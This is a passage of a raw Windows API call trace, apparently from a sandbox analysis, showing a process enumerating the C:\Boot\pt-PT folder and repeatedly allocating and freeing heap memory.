returned 1 [0124.307] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.307] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.307] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.307] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.307] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.307] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.307] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.307] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.307] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.307] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.307] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.307] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.307] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.307] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.307] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.308] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.308] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.309] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.310] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.310] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.311] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.311] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.312] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, 